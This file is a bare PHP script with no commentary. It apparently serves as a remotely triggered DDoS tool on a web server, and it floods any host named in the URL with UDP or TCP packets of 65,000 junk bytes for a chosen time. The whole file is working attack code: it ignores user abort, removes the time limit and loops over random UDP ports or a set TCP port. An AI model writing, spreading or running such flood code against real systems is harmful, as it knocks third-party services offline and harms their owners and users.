<?php

function udpFlood() {
  //UDP  ?host=IP&time=60
  $host=$_GET['host'];
  $time=$_GET['time'];
  if(isset($host)&&isset($time)){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
    $out .= 'X';
    }
    while(1){
    $packets++;
    if(time() > $max_time){
  break;
  exit();
    }
    $rand = rand(1,65000);
    $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if($fp){
  fwrite($fp, $out);
  fclose($fp);
    }
    }
  }
}

function tcpFlood() {
    //TCP  ?host=IP&port=80&time=60
	$host=$_GET['host'];
	$port=$_GET['port'];
	$exec_time=$_GET['time'];
    if(isset($host)&&isset($time)){
        $packets = 0;
        ignore_user_abort(FALSE);
        set_time_limit(0);

        $time = time();
        $max_time = $time+$exec_time;

        for($i=0;$i<65000;$i++){
                $out .= 'X';
        }
        while(1){
        $packets++;
                if(time() > $max_time){
                        break;
						exit();
                }
                $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5);
                if($fp){
                        fwrite($fp, $out);
                        fclose($fp);
                }
        }
	}
}

if(isset($_GET['meth'])) {
  if ($_GET['meth'] == 'TCP') {
    tcpFlood();
  }elseif ($_GET['meth'] == 'UDP') {
    udpFlood();
  }else{
    exit();
  }
}
?>